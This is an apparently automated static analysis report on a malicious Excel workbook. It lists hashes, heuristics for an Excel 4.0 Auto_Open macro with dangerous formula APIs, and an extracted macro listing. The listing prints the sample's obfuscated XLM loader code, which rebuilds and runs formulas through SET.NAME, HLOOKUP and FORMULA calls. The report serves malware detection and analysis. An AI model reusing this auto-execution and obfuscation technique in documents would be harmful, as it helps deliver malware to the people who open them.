Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b32374c77007fd0…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:50 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5c9a4ae5a83e14897e3ab087e4f15fa3 SHA-1: 3fb9d046e206047994e66f486a7643cadee84e19 SHA-256: 7b32374c77007fd0ee1dfa2fafb099eb040f79e2361102f687c9e213123b2ffb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6494 bytes
SHA-256: f7bf68f39b369f08f7fa5f228d2f5c07770f464035dda3545552f5ded362e7c4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QxADZr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E168 
' 0018     22 LABEL : Cell Value, String Constant - BVYRuEX len=0 
' 0018     22 LABEL : Cell Value, String Constant - EGCTWOK len=0 
' 0018     23 LABEL : Cell Value, String Constant - ghybmfKv len=0 
' 0018     22 LABEL : Cell Value, String Constant - GmOgjvL len=0 
' 0018     20 LABEL : Cell Value, String Constant - GqVHZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ibajZIgQT len=0 
' 0018     24 LABEL : Cell Value, String Constant - MRewBzfdh len=0 
' 0018     25 LABEL : Cell Value, String Constant - pJalanPaoB len=0 
' 0018     27 LABEL : Cell Value, String Constant - PrbaryEwTsHv len=0 
' 0018     22 LABEL : Cell Value, String Constant - rEJlJSL len=0 
' 0018     24 LABEL : Cell Value, String Constant - URHcijAwS len=0 
' 0018     23 LABEL : Cell Value, String Constant - vqtkziUT len=0 
' 0018     26 LABEL : Cell Value, String Constant - vYUPYsruWGz len=0 
' 0018     27 LABEL : Cell Value, String Constant - wFRqKoonhKKo len=0 
' 0018     20 LABEL : Cell Value, String Constant - WlGCJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - wnmWEiAyeOi len=0 
' 0018     25 LABEL : Cell Value, String Constant - wyNoZnCetg len=0 
' 0018     25 LABEL : Cell Value, String Constant - yeYqPVfLLy len=0 
' 0018     24 LABEL : Cell Value, String Constant - YLVClBvhg len=0 
' 0018     26 LABEL : Cell Value, String Constant - yMYcjFlNiah len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QxADZr,E81,"SET.NAME("vYUPYsruWGz",VALUE("0"))",""
'  QxADZr,E85,"SET.NAME("BVYRuEX",vYUPYsruWGz)",""
'  QxADZr,E89,"SET.NAME("WlGCJ",vYUPYsruWGz)",""
'  QxADZr,E92,"SET.NAME("ibajZIgQT",COUNTA(yeYqPVfLLy))",""
'  QxADZr,E97,"SET.NAME("PrbaryEwTsHv",COUNTA(GqVHZ))",""
'  QxADZr,E99,[],""
'  QxADZr,E101,"SET.NAME("URHcijAwS","")",""
'  QxADZr,E104,"BVYRuEX",""
'  QxADZr,E108,"SET.NAME("wnmWEiAyeOi",HLOOKUP("*",yeYqPVfLLy,BVYRuEX,FALSE))",""
'  QxADZr,E112,"rEJlJSL",""
'  QxADZr,E115,"SET.NAME("pJalanPaoB",vYUPYsruWGz)",""
'  QxADZr,E117,[],""
'  QxADZr,E120,"pJalanPaoB",""
'  QxADZr,E122,"vqtkziUT",""
'  QxADZr,E127,"MRewBzfdh",""
'  QxADZr,E129,"GmOgjvL",""
'  QxADZr,E131,"SET.NAME("wyNoZnCetg",VALUE(HLOOKUP("*",GqVHZ,GmOgjvL,FALSE)))",""
'  QxADZr,E133,"ghybmfKv",""
'  QxADZr,E136,"URHcijAwS",""
'  QxADZr,E139,"WlGCJ",""
'  QxADZr,E142,NEXT(),""
'  QxADZr,E147,"wFRqKoonhKKo",""
'  QxADZr,E151,"SET.NAME("f",INT(T(FORMULA(T(URHcijAwS)&"",""&T(wFRqKoonhKKo)))))",""
'  QxADZr,E156,"yMYcjFlNiah",""
'  QxADZr,E161,NEXT(),""
'  QxADZr,E163,RETURN(),""
'  QxADZr,E190,"SET.NAME("EGCTWOK",E81)",""
'  QxADZr,E193,"yeYqPVfLLy",""
'  QxADZr,E198,"SET.NAME("GqVHZ",R92C15)",""
'  QxADZr,E202,"SET.NAME("yMYcjFlNiah",208)",""
'  QxADZr,E205,"SET.NAME("YLVClBvhg",5)",""
'  QxADZr,E207,EGCTWOK(),""
'  QxADZr,E208,HALT(),""